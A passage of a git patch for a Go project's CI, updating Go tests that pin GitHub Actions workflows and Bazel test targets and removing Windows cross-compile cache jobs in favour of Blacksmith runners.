TestNightlyFullTestRunsEmbeddedDoltBatchApplySuite(t *testing.T) { - job := readCIWorkflow(t, "nightly.yml").job(t, "full-test") - const stepName = "Embedded Dolt batch-apply suite (non-race)" - const wantRun = "go test -tags gms_pure_go -timeout 20m -run '^(TestBatchApplyContract|TestLargeBatchApplyWallClock_Embedded|TestLargeBatchApplyStatementCounts712_Embedded|TestCreateBatchFastPathsMatchPerRowLarge_Embedded)$' ./internal/storage/embeddeddolt" - assertStepRunsExactly(t, job, stepName, wantRun) - assertStepEnvValue(t, job, stepName, "BEADS_TEST_EMBEDDED_DOLT", "1") - assertStepsBefore(t, job, []string{"Full Test Suite (including integration tests)"}, []string{stepName}) - if strings.Contains(wantRun, "-race") { - t.Errorf("embedded-dolt nightly step run = %q, must stay non-race (race dramatically inflates this backend's own wall-clock)", wantRun) +// TestEmbeddedDoltBatchApplySuiteRunsNonRaceUnderBazel pins the non-race +// embedded batch-apply variant that replaced nightly.yml's retired go test +// step: every race lane shrinks or skips the 1000-item apply, the 712-item +// statement-count baseline and the 458-issue batch-create equivalence +// scenarios (raceEnabled), so this target is their only full-size run. It +// must stay non-race (go_test_race_off over embeddeddolt_test; race inflates +// the embedded engine's own wall-clock), set BEADS_TEST_EMBEDDED_DOLT=1 (the +// gate skipUnlessEmbeddedDolt checks), select exactly these tests, and stay in +// the embedded tier (tag embedded), which bazel.yml runs on every PR, merge +// group, push to main and night. +func TestEmbeddedDoltBatchApplySuiteRunsNonRaceUnderBazel(t *testing.T) { + build := readPolicyFile(t, sourceRepoRoot(t), "internal/storage/embeddeddolt/BUILD.bazel") + rules := map[string]string{} + for _, r := range bazelTopRules(build) { + if m := regexp.MustCompile(`(?m)^ name = "([^"]+)",$`).FindStringSubmatch(r); m != nil { + rules[m[1]] = r + } } - // N4 (F1 review): this step must still run (and report) even if an - // earlier nightly step failed, and must carry its own explicit Go - // timeout independent of the job-level timeout-minutes. - if got := job.step(t, stepName).If; got != "${{ !cancelled() }}" { - t.Errorf("embedded-dolt nightly step if = %q, want ${{ !cancelled() }}", got) + raceOff := rules["embeddeddolt_race_off"] + if !strings.HasPrefix(raceOff, "go_test_race_off(") || !strings.Contains(raceOff, `test = ":embeddeddolt_test",`) { + t.Fatalf("embeddeddolt_race_off = %q, want go_test_race_off over :embeddeddolt_test", raceOff) + } + suite := rules["embeddeddolt_batch_apply_nonrace_test"] + for _, want := range []string{ + `"$(rootpath :embeddeddolt_race_off)",`, + `"-test.run=^(TestBatchApplyContract|TestLargeBatchApplyWallClock_Embedded|TestLargeBatchApplyStatementCounts712_Embedded|TestCreateBatchFastPathsMatchPerRowLarge_Embedded)$$",`, + `env = {"BEADS_TEST_EMBEDDED_DOLT": "1"},`, + `tags = ["embedded"],`, + } { + if !strings.Contains(suite, want) { + t.Errorf("embeddeddolt_batch_apply_nonrace_test lacks %s:\n%s", want, suite) + } + } + if strings.Contains(suite, ":embeddeddolt_test)") { + t.Errorf("embeddeddolt_batch_apply_nonrace_test runs the race-configured :embeddeddolt_test; want :embeddeddolt_race_off") + } +} + +// TestNightlyRunsNoGoTestOnARunner: nightly.yml's only test run is the +// fresh Bazel call on rbe-west (ga-96smfk.22); its retired full-test, +// bazel-go-test-json and measure jobs ran go test on GitHub runners. +func TestNightlyRunsNoGoTestOnARunner(t *testing.T) { + nightly := readCIWorkflow(t, "nightly.yml") + for name, job := range nightly.Jobs { + for _, step := range job.Steps { + if regexp.MustCompile(`\bgo (test|build)\b|make ci-`).MatchString(step.Run) { + t.Errorf("nightly.yml job %s step %q runs %q on a runner; run it under Bazel", name, step.Name, step.Run) + } + } + if job.Uses != "" && job.Uses != "./.github/workflows/"+bazelWorkflowName { + t.Errorf("nightly.yml job %s calls %s; only %s may be called", name, job.Uses, bazelWorkflowName) + } + } + if _, err := os.Stat(filepath.Join(sourceRepoRoot(t), ".github/workflows/ci-measurements.yml")); !os.IsNotExist(err) { + t.Errorf("ci-measurements.yml is back (stat err %v); its go test measurement suites ran on GitHub runners", err) } } @@ -889,9 +897,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { } }) - assertGoCacheInventory(t, workflows["main.yml"].job(t, "build-artifacts"), []goCacheStep{ - mainRestoreModuleCache(), mainRestoreBuildCache("non-race"), saveModuleCache(), saveBuildCache("non-race"), - }) // Blacksmith macOS: restores what blacksmith-macos-go-build-cache's // Blacksmith leg saves and owns only its race cache (day-bucketed, S7). assertGoCacheInventory(t, workflows["main.yml"].job(t, "test"), []goCacheStep{ @@ -906,18 +911,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheInventory(t, workflows["main.yml"].job(t, "windows-test-binaries-cache"), []goCacheStep{ mainRestoreModuleCache(), mainRestoreXCompileCache(), saveModuleCacheAfterFailure(), saveXCompileCache(), }) - // F7b: race/non-race GOCACHE saves for same-repo PR consumers - // (pr-preflight-platforms, check-doc-freshness-platforms) - // that run on Blacksmith, whose cache namespace is invisible to - // GitHub-hosted build-artifacts; its github venue leg seeds the fork - // path's race cache (build-artifacts seeds its non-race one). - assertGoCacheInventory(t, workflows["main.yml"].job(t, "blacksmith-go-build-cache"), []goCacheStep{ - mainRestoreModuleCache(), - mainRestoreBuildCacheDayBucketedIf("race", "matrix.flavor == 'race'"), - mainRestoreBuildCacheDayBucketedIf("non-race", "matrix.flavor == 'non-race'"), - saveBuildCacheDayBucketedAfterFailureIf("race", "matrix.flavor == 'race'"), - saveBuildCacheDayBucketedAfterFailureIf("non-race", "matrix.flavor == 'non-race'"), - }) // macOS saver for pr-preflight-platforms'/check-doc-freshness-platforms' // macOS legs: its blacksmith venue leg seeds the same-repo path (and the // `test` job), its github leg the fork path. @@ -966,17 +959,9 @@ func TestGoCacheOwnershipTopology(t *testing.T) { }) assertNoUnmanagedGoCacheSteps(t, workflows, map[string]map[string]bool{ "main.yml": { - "build-artifacts": true, "test": true, "test-windows": true, - "windows-test-binaries-cache": true, "blacksmith-go-build-cache": true, + "test": true, "test-windows": true, + "windows-test-binaries-cache": true, "blacksmith-macos-go-build-cache": true, - // F7c: blacksmith-setup-go-cache's own restore/save pair seeds the - // self-defined blacksmith-sg-v1- cache namespace every advisory - // Blacksmith consumer restores from (B2, F7c implementation - // report); it is covered by its own - // TestBlacksmithSetupGoSeedExistsForAdvisoryConsumers and - // TestBlacksmithSetupGoCacheKeysMatchAcrossSeederAndConsumers in - // ci_f7c_advisory_test.go, not by assertGoCacheInventory above. - "blacksmith-setup-go-cache": true, }, "pr.yml": { "worktree-remove-windows": true, @@ -987,10 +972,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { "pr-risk.yml": {}, }) - mainArtifacts := workflows["main.yml"].job(t, "build-artifacts") - assertStepsBefore(t, mainArtifacts, []string{"Restore Go module cache", "Restore non-race Go build cache"}, []string{"Build reusable Linux artifacts"}) - assertStepsBefore(t, mainArtifacts, []string{"Build reusable Linux artifacts", "Upload build artifacts"}, []string{"Save Go module cache", "Save non-race Go build cache"}) - mainTest := workflows["main.yml"].job(t, "test") assertStepsBefore(t, mainTest, []string{"Restore Go module cache"}, []string{"Build", "Test"}) assertStepsBefore(t, mainTest, []string{"Restore non-race Go build cache"}, []string{"Build"}) @@ -1020,7 +1001,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertStepsBefore(t, workflows["pr.yml"].job(t, "advisory-reports"), []string{"Restore Go module cache"}, []string{"Type-check every module under examples/"}) - assertGoCacheEnv(t, workflows["main.yml"].job(t, "build-artifacts"), "Build reusable Linux artifacts", "non-race") assertGoCacheEnv(t, workflows["main.yml"].job(t, "test"), "Build", "non-race") assertGoCacheEnv(t, workflows["main.yml"].job(t, "test"), "Test", "race") assertGoCacheEnv(t, workflows["main.yml"].job(t, "test-windows"), "Build (pure Go regex)", "non-race") @@ -1038,19 +1018,14 @@ func TestGoCacheOwnershipTopology(t *testing.T) { } } - assertGoCacheWriter(t, workflows["main.yml"], "build-artifacts", "ubuntu-latest", "Save Go module cache", cacheMissCondition(goModuleCacheRestoreID)) - assertGoCacheWriter(t, workflows["main.yml"], "build-artifacts", "ubuntu-latest", "Save non-race Go build cache", cacheMissCondition(goBuildCacheRestoreID("non-race"))) assertGoCacheWriter(t, workflows["main.yml"], "test", mainBlacksmithMacOSTestRunsOn, "Save race Go build cache", failureSurvivingCacheSaveCondition(cacheMissCondition(goBuildCacheRestoreID("race")))) assertGoCacheWriter(t, workflows["main.yml"], "test-windows", mainVenueBlacksmithWindows4vcpuRunsOn, "Save Go module cache", cacheMissCondition(goModuleCacheRestoreID)) assertGoCacheWriter(t, workflows["main.yml"], "test-windows", mainVenueBlacksmithWindows4vcpuRunsOn, "Save non-race Go build cache", cacheMissCondition(goBuildCacheRestoreID("non-race"))) - assertGoCacheWriter(t, workflows["main.yml"], "blacksmith-go-build-cache", mainBlacksmithGoBuildCacheRunsOn, "Save race Go build cache", saveBuildCacheAfterFailureIf("race", "matrix.flavor == 'race'").ifCondition) - assertGoCacheWriter(t, workflows["main.yml"], "blacksmith-go-build-cache", mainBlacksmithGoBuildCacheRunsOn, "Save non-race Go build cache", saveBuildCacheAfterFailureIf("non-race", "matrix.flavor == 'non-race'").ifCondition) assertGoCacheWriter(t, workflows["main.yml"], "blacksmith-macos-go-build-cache", mainBlacksmithMacOSGoBuildCacheRunsOn, "Save Go module cache", saveModuleCacheAfterFailure().ifCondition) assertGoCacheWriter(t, workflows["main.yml"], "blacksmith-macos-go-build-cache", mainBlacksmithMacOSGoBuildCacheRunsOn, "Save non-race Go build cache", saveBuildCacheAfterFailureIf("non-race", "").ifCondition) assertGoCacheWriter(t, workflows["main.yml"], "windows-test-binaries-cache", mainWindowsTestBinariesCacheRunsOn, "Save Go module cache", saveModuleCacheAfterFailure().ifCondition) assertGoCacheWriter(t, workflows["main.yml"], "windows-test-binaries-cache", mainWindowsTestBinariesCacheRunsOn, "Save Go build cache (Windows cross-compile)", saveXCompileCache().ifCondition) for _, target := range []struct{ workflow, job string }{ - {"main.yml", "build-artifacts"}, {"main.yml", "test"}, {"main.yml", "test-windows"}, {"main.yml", "windows-test-binaries-cache"}, @@ -2086,11 +2061,8 @@ const mainWindowsTestBinariesCacheRunsOn = "${{ matrix.runner == 'blacksmith' && // F7b: venue-matrix runs-on for main.yml jobs that seed a Blacksmith GOCACHE // alongside their GitHub-hosted seed ("venue: [blacksmith, github]"): -// test-windows, blacksmith-go-build-cache and -// blacksmith-macos-go-build-cache. -const mainVenueBlacksmithUbuntu4vcpuRunsOn = "${{ matrix.venue == 'blacksmith' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }}" +// test-windows and blacksmith-macos-go-build-cache. const mainVenueBlacksmithWindows4vcpuRunsOn = "${{ matrix.venue == 'blacksmith' && 'blacksmith-4vcpu-windows-2025' || 'windows-latest' }}" -const mainBlacksmithGoBuildCacheRunsOn = mainVenueBlacksmithUbuntu4vcpuRunsOn // main.yml's push-to-main-only macOS saver, on the exact labels pr.yml's // same-repo (blacksmithMacOSLabel) and fork (macOSRunner) macOS legs resolve to. @@ -2402,26 +2374,19 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { // to Blacksmith for same-repo PRs/merge_group only; forks, // Dependabot and push stay on ubuntu-latest. "docs-mintlify.yml": {"broken-links": sameRepoBlacksmith2vcpu}, - // main.yml's seeder job (B2, F7c implementation report) is the one - // Blacksmith job that is NOT gated by the same-repo-PR expression: it - // is push-to-main only (always trusted), so it wraps the literal - // label in a trivial expression instead (see the job's own comment). - // Tracked here so the "no other Blacksmith label leaks" sweep below - // also covers main.yml. + // main.yml's push-to-main-only jobs. Tracked here so the "no other + // Blacksmith label leaks" sweep below also covers main.yml. "main.yml": { - "blacksmith-setup-go-cache": "${{ 'blacksmith-4vcpu-ubuntu-2404' }}", "windows-test-binaries-cache": mainWindowsTestBinariesCacheRunsOn, // F7b review (B2): these push-to-main-only jobs seed the // Blacksmith-selection GOCACHEs same-repo PR/merge_group jobs - // above restore from (test-windows's "venue" matrix, - // blacksmith-go-build-cache's own single leg). + // above restore from (test-windows's "venue" matrix). // Each is additionally guarded by a job-level // github.event_name == 'push' && github.ref == // 'refs/heads/main' && github.repository == 'gastownhall/beads' // if: (TestBlacksmithSaverJobsGuardedAgainstPullRequest below), // matching F7c's own saver convention. - "test-windows": mainVenueBlacksmithWindows4vcpuRunsOn, - "blacksmith-go-build-cache": mainBlacksmithGoBuildCacheRunsOn, + "test-windows": mainVenueBlacksmithWindows4vcpuRunsOn, // Same guard, seeding pr.yml's same-repo macOS legs. "blacksmith-macos-go-build-cache": mainBlacksmithMacOSGoBuildCacheRunsOn, // The macOS -race -short suite (Linux runs it under Bazel). @@ -2671,19 +2636,24 @@ func TestPRPolicyChecksRunAsBazelTargets(t *testing.T) { t.Errorf("%s:%s tags = %v, want %s", c.build, c.target, tags, c.tags) } } - pr := readCIWorkflow(t, "pr.yml") - for name, job := range pr.Jobs { - for _, step := range job.Steps { - for _, moved := range []string{ - "check-build-tags.sh", "check-go-install-guidance.sh", "check-winget-portable-alias.sh", - "check-versions.sh", "make fmt-check", "check-doc-freshness.sh", "make ci-pr-policy", "make api-check", - } { - if strings.Contains(step.Run, moved) { - t.Errorf("pr.yml job %s step %q still runs %s, which is a Bazel test", name, step.Name, moved) + // main.yml (push to main) too: bazel.yml's push run gates the same + // targets, so no runner re-runs them after the merge. + for _, wfName := range []string{"pr.yml", "main.yml"} { + for name, job := range readCIWorkflow(t, wfName).Jobs { + for _, step := range job.Steps { + for _, moved := range []string{ + "check-build-tags.sh", "check-go-install-guidance.sh", "check-winget-portable-alias.sh", + "check-versions.sh", "make fmt-check", "check-doc-freshness.sh", "make ci-pr-policy", "make api-check", + "check-migration-hygiene.sh", + } { + if strings.Contains(step.Run, moved) && !(wfName == "pr.yml" && moved == "check-migration-hygiene.sh") { + t.Errorf("%s job %s step %q still runs %s, which is a Bazel test", wfName, name, step.Name, moved) + } } } } } + pr := readCIWorkflow(t, "pr.yml") freshness := pr.job(t, "check-doc-freshness-platforms") for _, tuple := range freshness.Strategy.Matrix.Include { if tuple.ExpectedGOOS == "linux" { diff --git a/scripts/generate-cli-docs.sh b/scripts/generate-cli-docs.sh index 3813c5aaa..468dc3338 100755 --- a/scripts/generate-cli-docs.sh +++ b/scripts/generate-cli-docs.sh @@ -98,7 +98,7 @@ else fi # Guard against a CGO-enabled bd: it exposes the full `bd federation` subcommand tree -# that CI never produces (scripts/ci/pr-policy.sh build_docs_binary uses env +# that CI never produces (scripts/check-doc-flags.sh is fed a # CGO_ENABLED=0 go build). A CGO build therefore emits ~hundreds of lines of federation # help that the committed, CI-built docs stub out ("built without CGO support"), so a # naive regen on a machine with a C compiler produces spurious federation churn. diff --git a/scripts/pr_lanes_bazel_coverage_test.go b/scripts/pr_lanes_bazel_coverage_test.go index 531a4fc82..ecbd22c38 100644 --- a/scripts/pr_lanes_bazel_coverage_test.go +++ b/scripts/pr_lanes_bazel_coverage_test.go @@ -235,10 +235,10 @@ func sortedKeys[V any](m map[string]V) []string { func testPackageGateJobs(t *testing.T, prGateRequired []string) { t.Helper() workflow := readCIWorkflow(t, bazelWorkflowName) - // main.yml's own package-mcp/package-npm jobs (nightly, not gated by - // rbe) run the same language setup; bazel.yml's copy must not drift - // from it. - mainWorkflow := readCIWorkflow(t, "main.yml") + // release.yml's release-package-mcp/release-package-npm jobs (the tag + // build's package gates) run the same language setup; bazel.yml's copy + // must not drift from it. + mainWorkflow := readCIWorkflow(t, "release.yml") type pkgLane struct { job, detectOutput, langStepName, makeTarget string } @@ -352,22 +352,22 @@ func testPackageGateJobs(t *testing.T, prGateRequired []string) { t.Errorf("%s step %q: if %q, want %q", lane.job, lane.langStepName, st.If, detectIf) } - // The language setup itself must not drift from main.yml's copy of - // the same job (python-version / Node version / the uv install - // command): main.yml's jobs are ungated by rbe, so they are the one - // other place this exact setup is pinned. - mainJob := mainWorkflow.job(t, lane.job) + // The language setup itself must not drift from release.yml's copy + // of the same gate (python-version / Node version / the uv install + // command): the tag build is the one other place this exact setup + // is pinned. + mainJob := mainWorkflow.job(t, "release-"+lane.job) langStep := job.step(t, lane.langStepName) mainLangStep := mainJob.step(t, lane.langStepName) if langStep.Uses != mainLangStep.Uses || !reflect.DeepEqual(langStep.With, mainLangStep.With) { - t.Errorf("%s %q: uses %q, with %v; main.yml's %s has uses %q, with %v", + t.Errorf("%s %q: uses %q, with %v; release.yml's release-%s has uses %q, with %v", lane.job, lane.langStepName, langStep.Uses, langStep.With, lane.job, mainLangStep.Uses, mainLangStep.With) } if lane.job == bazelPackageMCPJobName { installUv := job.step(t, "Install uv") mainInstallUv := mainJob.step(t, "Install uv") if installUv.Run != mainInstallUv.Run { - t.Errorf("%s Install uv: run %q; main.yml's has run %q", lane.job, installUv.Run, mainInstallUv.Run) + t.Errorf("%s Install uv: run %q; release.yml's has run %q", lane.job, installUv.Run, mainInstallUv.Run) } } gateName := "Run " + map[string]string{bazelPackageMCPJobName: "MCP", bazelPackageNPMJobName: "npm"}[lane.job] + " package gate" diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index 7fa7d9b37..838a3b6d9 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -919,6 +919,12 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { []string{"$(rootpath :embeddeddolt_test)", "-test.v", "-test.count=1", "-test.timeout=19m", "-test.run=^TestConformance$$/^Audit$$"}, map[string]string{"BEADS_TEST_EMBEDDED_DOLT": "1"}, }, + // nightly.yml's retired non-race embedded batch-apply step: the large + // shapes every race lane shrinks or skips (raceEnabled). + "//internal/storage/embeddeddolt:embeddeddolt_batch_apply_nonrace_test": { + []string{"$(rootpath :embeddeddolt_race_off)", "-test.v", "-test.count=1", "-test.timeout=19m", "-test.run=^(TestBatchApplyContract|TestLargeBatchApplyWallClock_Embedded|TestLargeBatchApplyStatementCounts712_Embedded|TestCreateBatchFastPathsMatchPerRowLarge_Embedded)$$"}, + map[string]string{"BEADS_TEST_EMBEDDED_DOLT": "1"}, + }, "//cmd/bd:bd_proxied_test": { []string{"$(rootpath //:.github/scripts/proxied-test-shard.sh)", "BEADS_TEST_CMD_BINARY", "$(rootpath :bd_test)"}, map[string]string{ diff --git a/scripts/repochecks/BUILD.bazel b/scripts/repochecks/BUILD.bazel index 180425feb..bc588c140 100644 --- a/scripts/repochecks/BUILD.bazel +++ b/scripts/repochecks/BUILD.bazel @@ -82,8 +82,7 @@ repo_subset( include = [".github/workflows/*.yml"], ) -# scripts/checkworkflowtags (`go run ./scripts/checkworkflowtags` in -# scripts/ci/pr-policy.sh): the workflows' direct go commands declare +# scripts/checkworkflowtags: the workflows' direct go commands declare # gms_pure_go. sh_test( name = "workflow_tags_test", diff --git a/scripts/workflowtags/workflowtags.go b/scripts/workflowtags/workflowtags.go index d02512e32..175a81000 100644 --- a/scripts/workflowtags/workflowtags.go +++ b/scripts/workflowtags/workflowtags.go @@ -92,7 +92,7 @@ type workflowStep struct { // allowsBareCommands reports whether a workflow opts out of this check with the // repository's existing marker in its first five lines. // -// This check runs in the required pr-policy lane, so without an opt-out a +// This check is required (//scripts/repochecks:workflow_tags_test), so without an opt-out a // workflow that legitimately needs a bare `go` command has no way through. The // marker and its five-line window are not invented here: scripts/check-build-tags.sh // already honors exactly `^# build-tags: allow-bare` within `head -n 5`, and diff --git a/scripts/workflowtags/workflowtags_test.go b/scripts/workflowtags/workflowtags_test.go index 46dec9af9..e2c13ae53 100644 --- a/scripts/workflowtags/workflowtags_test.go +++ b/scripts/workflowtags/workflowtags_test.go @@ -161,8 +161,8 @@ func TestCheckDirRejectsEmptyInventory(t *testing.T) { } } -// TestCheckDirHonorsAllowBareMarker pins the file-level opt-out. This check runs -// in the required pr-policy lane, so a workflow that legitimately needs a bare +// TestCheckDirHonorsAllowBareMarker pins the file-level opt-out. This check is +// required (//scripts/repochecks:workflow_tags_test), so a workflow that legitimately needs a bare // `go` command needs a way through, and the repository already has one: // scripts/check-build-tags.sh honors `# build-tags: allow-bare` within the first // five lines, and engdocs/ICU-POLICY.md documents that window. The same spelling From 84390b03ab31be6609863bd62dfd78304b48a032 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 10:41:14 +0000 Subject: [PATCH 154/325] ci(bazel): run every Windows/macOS job on Blacksmith; retire the Linux preflight leg and the cross-compiled Windows pair (#7355) - pr.yml's Windows jobs and the macOS/Windows legs of pr-preflight-platforms and check-doc-freshness-platforms run on Blacksmith for every PR and merge group, forks and Dependabot included: no windows-latest/macos-latest fallback (Blacksmith serves this org's fork PRs). Matrix legs name their label (runs-on: ${{ matrix.runner }}); the same-repo "matrix marker" ternary and its policy plumbing are gone. - pr-preflight-platforms drops its Linux leg: its tests run under Bazel on rbe-west (//scripts:scripts_test, //cmd/bd:bd_test, //internal/config:config_test). - The Linux-cross-compiled Windows path is retired: windows-test-binaries, its two -prebuilt twins, main.yml's windows-test-binaries-cache, the WINDOWS_PREBUILT_REQUIRED flag and the build script/manifest. The native pair (test-windows-liveness, worktree-remove-windows) is the required run. - main.yml's test-windows and blacksmith-macos-go-build-cache drop their GitHub-hosted venue legs (no GitHub-hosted consumer left). Gate names unchanged. ga-96smfk.22 Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/main.yml | 153 +----- .github/workflows/pr.yml | 384 +++---------- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 72 ++- scripts/BUILD.bazel | 1 - scripts/ci/build-windows-test-binaries.sh | 96 ---- scripts/ci/run-go-test-binary.sh | 6 +- scripts/ci/windows-test-binaries.txt | 28 - scripts/ci_blacksmith_runner_test.go | 180 ++---- scripts/ci_f7b_review_test.go | 71 +-- scripts/ci_workflow_apt_get_timeout_test.go | 22 - scripts/ci_workflow_test.go | 268 +++------ scripts/test.sh | 3 +- .../windows_test_binaries_manifest_test.go | 516 ------------------ 13 files changed, 280 insertions(+), 1520 deletions(-) delete mode 100755 scripts/ci/build-windows-test-binaries.sh delete mode 100644 scripts/ci/windows-test-binaries.txt delete mode 100644 scripts/windows_test_binaries_manifest_test.go diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 8d6c49133..c64890e66 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -13,98 +13,6 @@ env: BD_DISABLE_EVENT_FLUSH: "1" jobs: - # F4.7: pr.yml's `windows-test-binaries` job only restores the module cache - # and the Windows cross-compile GOCACHE; PR workflows never save caches - # (forks and same-repo PRs alike would otherwise be able to poison a - # shared key). This is the seeder, mirroring build-artifacts' and test's - # module/GOCACHE save pattern for the one new cache key xcompile added. - # - # Two legs, not one: pr.yml's windows-test-binaries job (pr.yml:522) lands - # on `blacksmith-8vcpu-ubuntu-2404` for same-repo PRs/merge_group and - # `ubuntu-latest` for forks/Dependabot. `runner.os`/`runner.arch` alone - # look identical between those two (both report Linux/X64), but Blacksmith - # runners cannot see caches `actions/cache` saved from a GitHub-hosted - # runner (and vice versa): the cache storage is scoped to the runner - # infrastructure, not just the key. A single ubuntu-latest seeder leg would - # therefore only ever warm the fork-PR path and leave every same-repo PR - # (the common case) cold on every run. Seeding from both runner selections, - # with identical keys/paths, covers both consumer legs. The ternary form - # (rather than a literal Blacksmith label in a matrix array) is required - # for actionlint: it resolves literal matrix arrays of runner labels and - # fails on an undeclared self-hosted label, but treats a ternary - # expression as a dynamic value it can't resolve, and skips validation -- - # the same reason every other Blacksmith `runs-on` in this repo uses the - # ternary form. - windows-test-binaries-cache: - name: Save Windows test binaries cache - strategy: - fail-fast: false - matrix: - runner: [blacksmith, github] - runs-on: ${{ matrix.runner == 'blacksmith' && 'blacksmith-8vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 30 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Restore Go module cache - id: restore-go-module-cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Install mingw cross-compiler - timeout-minutes: 12 - run: | - updated="" - for attempt in 1 2 3; do - if sudo timeout 120 apt-get -o Acquire::Retries=3 -o Acquire::http::Timeout=30 -o Acquire::https::Timeout=30 update; then - updated=yes - break - fi - echo "::warning::apt-get update attempt $attempt failed or timed out" - if [ "$attempt" -lt 3 ]; then sleep 10; fi - done - if [ -z "$updated" ]; then - echo "::warning::apt-get update failed after 3 attempts; proceeding with cached index" - fi - sudo timeout 300 apt-get install -y gcc-mingw-w64-x86-64 - - - name: Restore Go build cache (Windows cross-compile) - id: restore-xcompile-go-build-cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/xcompile-windows-amd64 - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-xcompile-windows-amd64-${{ github.sha }} - restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-xcompile-windows-amd64- - - - name: Build Windows test binaries - env: - GOCACHE: ${{ runner.temp }}/go-cache/xcompile-windows-amd64 - run: bash scripts/ci/build-windows-test-binaries.sh "$RUNNER_TEMP/win-bin" - - - name: Save Go module cache - if: ${{ !cancelled() && steps.restore-go-module-cache.outputs.cache-hit != 'true' }} - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - - - name: Save Go build cache (Windows cross-compile) - if: ${{ !cancelled() && steps.restore-xcompile-go-build-cache.outputs.cache-hit != 'true' }} - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/xcompile-windows-amd64 - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-xcompile-windows-amd64-${{ github.sha }} - # macOS full -race -short suite. Linux runs the same suite under Bazel # (bazel.yml's `test` lane, on every push to main, executed on rbe-west), @@ -202,30 +110,22 @@ jobs: # Windows uses -tags gms_pure_go to avoid the ICU regex dependency. # go-icu-regex's regex_windows.go also uses Go stdlib regexp (build tag: windows). # CGO is still required for gozstd (bundled C source) and the embedded dolt engine. - # F7b: pr.yml's standalone Windows jobs (test-windows-liveness, - # worktree-remove-windows, etc.) moved to same-repo Blacksmith - # (blacksmith-*vcpu-windows-2025); this job's own module/non-race GOCACHE - # saves already cover the fork/github path (windows-latest), but Blacksmith - # runners cannot see caches `actions/cache` saved from a GitHub-hosted - # runner (and vice versa) even for an identical key, so the `venue` matrix - # dimension here seeds the Blacksmith selection too -- same reasoning as - # windows-test-binaries-cache's `runner` matrix. + # pr.yml's Windows jobs (test-windows-liveness, worktree-remove-windows, + # etc.) run on Blacksmith Windows for every PR, forks included + # (ga-96smfk.22), so this job seeds their module and non-race GOCACHEs on + # that one runner selection: Blacksmith runners cannot see caches + # `actions/cache` saved from a GitHub-hosted runner, and no GitHub-hosted + # Windows consumer is left. test-windows: - name: Test (Windows - smoke, ${{ matrix.venue }}) + name: Test (Windows - smoke) # F7b review fix (B2): push-to-main, same-repo only, like every saver # here (the repository check closes the fork gap). Pinned by # TestBlacksmithSaverJobsGuardedAgainstPullRequest. if: github.event_name == 'push' && github.ref == 'refs/heads/main' && github.repository == 'gastownhall/beads' - runs-on: ${{ matrix.venue == 'blacksmith' && 'blacksmith-4vcpu-windows-2025' || 'windows-latest' }} - # F7b review fix (S8): this job now runs on paid Blacksmith Windows - # (4x billing) for its blacksmith venue leg; it previously had no - # timeout-minutes at all. 20 matches test-windows-liveness's timeout - # (S6) for consistency. + runs-on: ${{ 'blacksmith-4vcpu-windows-2025' }} + # F7b review fix (S8): paid Blacksmith Windows (4x billing). 20 matches + # test-windows-liveness's timeout (S6) for consistency. timeout-minutes: 20 - strategy: - fail-fast: false - matrix: - venue: [blacksmith, github] steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -245,11 +145,8 @@ jobs: run: echo "today=$(date -u +%Y%m%d)" >> "$GITHUB_OUTPUT" # F7b review fix (S9): same Windows toolchain diagnostic as pr.yml's - # moved Windows jobs, run here on the Blacksmith leg too (the venue - # this job's github leg already exercises on windows-latest every push - # without issue, so only the blacksmith leg's image is unverified). + # Windows jobs. - name: Check Windows toolchain diagnostics - if: matrix.venue == 'blacksmith' shell: bash run: go env CGO_ENABLED CC GOOS GOARCH @@ -291,11 +188,8 @@ jobs: # (blacksmith-4vcpu-windows-2025), so their cold `cmd/bd` test compiles # (the real long pole; see pr-preflight-platforms' S2 comment) get a # true cache hit. Confirmed to run under Git Bash on Windows (reviewer - # verification); Blacksmith-leg only -- the github (windows-latest) - # venue leg has no PR-side consumer for this namespace, so warming it - # there would be wasted GitHub-hosted cache churn for no reader. + # verification). - name: Warm non-race GOCACHE (Windows preflight/liveness consumers) - if: matrix.venue == 